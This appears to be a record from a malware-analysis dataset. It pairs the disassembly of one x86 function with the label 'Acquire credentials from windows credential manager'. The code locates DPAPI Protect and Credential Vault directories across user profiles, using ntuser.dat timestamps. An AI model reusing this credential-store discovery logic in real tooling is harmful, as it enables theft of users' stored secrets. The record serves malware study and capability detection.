Function at 0x4107f6
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1494
call fcn.004131b0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, edi
call fcn.004101f9
xor esi, esi
push 0x208
lea eax, [esp + 0x8a6]
push esi
push eax
mov word [esp + 0x8ac], si
call sub.msvcrt.dll_memset
lea ebx, [edi + 0x1664]
add esp, 0xc
push ebx
mov dword [esp + 0x18], ebx
call fcn.0040d2a9
cmp dword [ebp + 0xc], esi
pop ecx
mov esi, 0x104
jne 0x41086f
push ebx
mov eax, esi
lea edi, [esp + 0x8a4]
call fcn.0040c8a4
and word [esp + 0x8aa], 0
mov eax, edi
mov edi, dword [ebp + 8]
pop ecx
mov dword [ebp + 0xc], eax
push 3
push ebx
push dword [ebp + 0xc]
call sub.msvcrt.dll__wcsnicmp
add esp, 0xc
test eax, eax
jne 0x41088d
mov dword [edi + 0x1870], 1
jmp 0x4108c5
mov eax, dword [ebp + 0xc]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x410893
sub eax, edx
sar eax, 1
add eax, 0x11
cmp eax, esi
jae 0x4108ba
mov ecx, dword [ebp + 0xc]
push 0x4144e8
mov eax, ebx
call fcn.0040d31f
pop ecx
jmp 0x4108be
and word [ebx], 0
and dword [edi + 0x1870], 0
cmp dword [edi + 0x1870], 0
jne 0x4108f9
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x4108d3
sub eax, edx
sar eax, 1
add eax, 7
cmp eax, esi
jae 0x4108f9
push str.Config
mov eax, edi
mov ecx, ebx
call fcn.0040d31f
pop ecx
jmp 0x4108fd
and word [edi], 0
mov eax, dword [ebp + 8]
mov ecx, ebx
add eax, 0x414
lea edi, [ecx + 2]
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x41090a
sub ecx, edi
sar ecx, 1
add ecx, 0x12
cmp ecx, esi
jae 0x41092e
push str.MicrosoftProtect
mov ecx, ebx
call fcn.0040d31f
pop ecx
jmp 0x410932
and word [eax], 0
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp dword [eax + 0x1870], ebx
je 0x410962
mov edi, eax
push 0x1a
lea ebx, [edi + 0x1250]
pop eax
call fcn.00401da4
push 0x1c
lea ebx, [edi + 0x145a]
pop eax
call fcn.00401da4
jmp 0x410cd7
lea eax, [esp + 0xab0]
call fcn.0040b47f
mov edi, 0x208
push edi
lea eax, [esp + 0x236]
push ebx
push eax
mov word [esp + 0x23c], bx
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
lea eax, [esp + 0x26]
push ebx
push eax
mov word [esp + 0x2c], bx
call sub.msvcrt.dll_memset
mov edi, dword [ebp + 0xc]
mov eax, edi
add esp, 0xc
mov dword [esp + 0x10], 1
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, bx
jne 0x4109b1
sub eax, ecx
sar eax, 1
add eax, 6
cmp eax, esi
jae 0x4109dc
push str.Users
lea eax, [esp + 0x234]
mov ecx, edi
call fcn.0040d31f
pop ecx
jmp 0x4109e4
mov word [esp + 0x230], bx
lea eax, [esp + 0x230]
push eax
call fcn.0040c736
test eax, eax
pop ecx
jne 0x410a32
mov eax, edi
mov dword [esp + 0x10], ebx
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x4109ff
sub eax, edx
sar eax, 1
add eax, 0x17
cmp eax, esi
jae 0x410a2a
push str.Documents_And_Settings
lea eax, [esp + 0x234]
mov ecx, edi
call fcn.0040d31f
pop ecx
jmp 0x410a32
mov word [esp + 0x230], bx
lea eax, [esp + 0x230]
push eax
push 0x41457c
lea eax, [esp + 0xab8]
call fcn.0040b8d3
xor ebx, ebx
xor eax, eax
lea edi, [esp + 0x1c]
mov dword [esp + 0x18], ebx
stosd dword es:[edi], eax
jmp 0x410bd6
lea ecx, [esp + 0xab0]
call fcn.0040b656
test eax, eax
je 0x410bd6
lea eax, [esp + 0xd6c]
push 0x414580
push eax
call sub.msvcrt.dll__wcsicmp
test eax, eax
pop ecx
pop ecx
je 0x410bd6
lea eax, [esp + 0xd6c]
push str.LocalService
push eax
call sub.msvcrt.dll__wcsicmp
test eax, eax
pop ecx
pop ecx
je 0x410bd6
lea eax, [esp + 0xd6c]
push str.All_Users
push eax
call sub.msvcrt.dll__wcsicmp
test eax, eax
pop ecx
pop ecx
je 0x410bd6
lea eax, [esp + 0xd6c]
push str.NetworkService
push eax
call sub.msvcrt.dll__wcsicmp
test eax, eax
pop ecx
pop ecx
je 0x410bd6
lea eax, [esp + 0xd6c]
push str.Default_User
push eax
call sub.msvcrt.dll__wcsicmp
test eax, eax
pop ecx
pop ecx
je 0x410bd6
push 0x208
lea eax, [esp + 0x696]
push ebx
push eax
mov word [esp + 0x69c], bx
call sub.msvcrt.dll_memset
lea eax, [esp + 0xf9c]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x410b25
sub eax, edx
sar eax, 1
add eax, 0xb
cmp eax, esi
jae 0x410b55
push str.ntuser.dat
lea eax, [esp + 0x694]
lea ecx, [esp + 0xf94]
call fcn.0040d31f
pop ecx
jmp 0x410b5d
mov word [esp + 0x690], bx
push 0x24c
lea eax, [esp + 0x448]
push ebx
push eax
mov dword [esp + 0x44c], ebx
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [esp + 0x440]
push eax
lea eax, [esp + 0x694]
push eax
call fcn.0040bd01
test eax, eax
pop ecx
pop ecx
je 0x410bd6
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x458]
push eax
call dword [sym.imp.KERNEL32.DLL_CompareFileTime]
test eax, eax
jle 0x410bd6
mov eax, dword [esp + 0x454]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x458]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0xf90]
push eax
mov eax, esi
lea edi, [esp + 0x24]
call fcn.0040c8a4
pop ecx
lea eax, [esp + 0xab0]
call fcn.0040b817
test eax, eax
jne 0x410a5d
cmp word [esp + 0x20], bx
je 0x410cc3
mov edi, dword [ebp + 8]
cmp dword [esp + 0x10], ebx
lea ecx, [esp + 0x20]
lea eax, [ecx + 2]
lea ebx, [edi + 0x1250]
je 0x410c60
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x410c0b
sub ecx, eax
sar ecx, 1
add ecx, 0x10
cmp ecx, esi
jae 0x410c33
push str.AppDataRoaming
mov eax, ebx
lea ecx, [esp + 0x24]
call fcn.0040d31f
pop ecx
jmp 0x410c37
and word [ebx], 0
lea ecx, [esp + 0x20]
lea eax, [edi + 0x145a]
lea edi, [ecx + 2]
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x410c44
sub ecx, edi
sar ecx, 1
add ecx, 0xe
cmp ecx, esi
jae 0x410cbf
push str.AppDataLocal
jmp 0x410cb3
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x410c60
sub ecx, eax
sar ecx, 1
add ecx, 0x11
cmp ecx, esi
jae 0x410c88
push str.Application_Data
mov eax, ebx
lea ecx, [esp + 0x24]
call fcn.0040d31f
pop ecx
jmp 0x410c8c
and word [ebx], 0
lea ecx, [esp + 0x20]
lea eax, [edi + 0x145a]
lea edi, [ecx + 2]
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x410c99
sub ecx, edi
sar ecx, 1
add ecx, 0x20
cmp ecx, esi
jae 0x410cbf
push str.Local_SettingsApplication_Data
lea ecx, [esp + 0x24]
call fcn.0040d31f
pop ecx
jmp 0x410cc3
and word [eax], 0
lea esi, [esp + 0xab0]
call fcn.0040b466
mov edi, dword [ebp + 8]
mov esi, 0x104
lea ecx, [edi + 0x1250]
cmp word [ecx], 0
je 0x410d1c
mov edx, ecx
lea eax, [edx + 2]
lea ebx, [edi + 0x20a]
mov dword [esp + 0x10], eax
mov ax, word [edx]
inc edx
inc edx
test ax, ax
jne 0x410cf2
sub edx, dword [esp + 0x10]
sar edx, 1
add edx, 0x12
cmp edx, esi
jae 0x410d18
push str.MicrosoftProtect
mov eax, ebx
call fcn.0040d31f
pop ecx
jmp 0x410d1c
and word [ebx], 0
lea ecx, [edi + 0x145a]
cmp word [ecx], 0
je 0x410d61
mov edx, ecx
lea eax, [edx + 2]
lea ebx, [edi + 0xa28]
mov dword [esp + 0x10], eax
mov ax, word [edx]
inc edx
inc edx
test ax, ax
jne 0x410d37
sub edx, dword [esp + 0x10]
sar edx, 1
add edx, 0x10
cmp edx, esi
jae 0x410d5d
push str.MicrosoftVault
mov eax, ebx
call fcn.0040d31f
pop ecx
jmp 0x410d61
and word [ebx], 0
mov ecx, dword [ebp + 0xc]
lea eax, [edi + 0xc32]
lea ebx, [ecx + 2]
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x410d6d
sub ecx, ebx
sar ecx, 1
add ecx, 0x1c
cmp ecx, esi
jae 0x410d92
mov ecx, dword [ebp + 0xc]
push str.ProgramDataMicrosoftVault
call fcn.0040d31f
pop ecx
jmp 0x410d96
and word [eax], 0
mov ecx, dword [esp + 0x14]
lea eax, [edi + 0xe3c]
lea edi, [ecx + 2]
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x410da3
sub ecx, edi
sar ecx, 1
add ecx, 0x33
cmp ecx, esi
jae 0x410dc9
mov ecx, dword [esp + 0x14]
push str.config_systemprofileAppDataLocalMicrosoftVault
call fcn.0040d31f
pop ecx
jmp 0x410dcd
and word [eax], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8